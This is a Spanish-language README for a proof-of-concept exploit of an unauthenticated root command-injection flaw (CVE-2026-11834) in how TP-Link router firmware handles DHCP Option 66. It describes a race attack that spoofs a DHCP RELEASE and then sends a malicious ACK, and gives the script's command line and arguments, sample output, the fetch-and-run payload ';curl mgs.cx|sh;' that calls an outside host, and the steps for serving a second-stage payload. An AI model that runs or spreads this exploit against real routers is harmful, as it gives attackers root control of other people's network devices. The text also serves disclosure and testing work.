
Prueba de concepto (PoC) para la RCE no autenticada de TP-Link DHCP Option 66 (CVE-2026-11834)
RCE no autenticado en la opción 66 de DHCP de TP-Link (CVE-2026-11834)
Una vulnerabilidad de inyección de comandos (CWE-78) en el manejo de la opción 66 de DHCP ("TFTP Server Name") del firmware de los routers TP-Link permite a un atacante no autenticado en el mismo segmento de red ejecutar comandos arbitrarios como root. Cuando el dispositivo actúa como cliente DHCP en su interfaz WAN, el valor de la opción 66 devuelto en una concesión se concatena sin saneamiento en un comando shell tftp dentro de libcmm.so. Cinco funciones construyen este comando y lo pasan a util_execSystem(), que llama a system(), por lo que un valor de la opción 66 manipulado se interpreta como entrada de shell y se ejecuta como root.
El valor de la opción 66 se trunca a 16 caracteres en el dispositivo, por lo que el payload es un mínimo fetch-and-execute (;curl <domain>|sh;) que descarga una segunda etapa más grande por HTTP.
El atacante no necesita controlar el servidor DHCP. Este PoC compite con el servidor legítimo en el segmento: falsifica un RELEASE de DHCP como si fuera el objetivo para limpiar su vinculación, espera a que el objetivo re-adquiera su concesión y luego responde al broadcast del objetivo con un / malicioso que transporta el payload antes de que el servidor legítimo responda.
OFFERACKEsta prueba de concepto (PoC) fue probada contra el TP-Link Archer C20 V6 (firmware 0.9.1 Build 4.19, EU). La ruta de código vulnerable es compartida por una variedad de routers TP-Link; los offsets de memoria, las direcciones de funciones y el comportamiento pueden diferir en otros modelos o versiones de firmware.
Este PoC entrega un payload en la opción 66 que se ejecuta como root en el dispositivo objetivo. Ejecútalo únicamente contra hardware que sea de tu propiedad o para el que tengas autorización explícita de prueba.
$ sudo python3 cve-2026-11834.py <target_ip> -i <interface> -s <dhcp_server_ip> -S <dhcp_server_mac> -p '<payload>'
| Argumento | Descripción |
|---|---|
target_ip | Dirección IP actual del dispositivo objetivo |
-i, --interface | Interfaz de red en el segmento del objetivo |
-s, --server-ip | IP del servidor DHCP legítimo |
-S, --server-mac | MAC del servidor DHCP legítimo |
-p, --payload | Valor de la opción 66 (<=16 caracteres), p. ej. `;curl |
-t, --target-mac | MAC del objetivo (se resuelve automáticamente por ARP si se omite) |
-a, --attacker-ip | server-id anunciado en la concesión maliciosa (por defecto, la IP de la interfaz) |
Ejemplo de ejecución:
$ sudo python3 cve-2026-11834.py 10.0.10.110 -i eth0 -s 10.0.10.254 -S 00:f2:8b:99:86:46 -p ';curl mgs.cx|sh;'
TP-Link DHCP Option 66 Unauthenticated RCE (CVE-2026-11834) - Race Attack
Target IP : 10.0.10.110
Target MAC : 3c:64:cf:7b:69:8b
DHCP Server : 10.0.10.254 (00:f2:8b:99:86:46)
Attacker IP : 10.0.10.5
Interface : eth0
Payload : ;curl mgs.cx|sh;
[*] Sending spoofed DHCP RELEASE for 10.0.10.110
[*] RELEASE sent. Waiting for target to re-acquire lease...
[!] Got DHCP REQUEST from 3c:64:cf:7b:69:8b, XID: 0x43edad72
[>] Sending malicious DHCP ACK...
[>] ACK sent. Payload delivered.
El host del payload sirve una segunda etapa que el dispositivo descarga y ejecuta. Por ejemplo:
$ cat index.html
[second stage payload]
$ sudo python3 -m http.server 80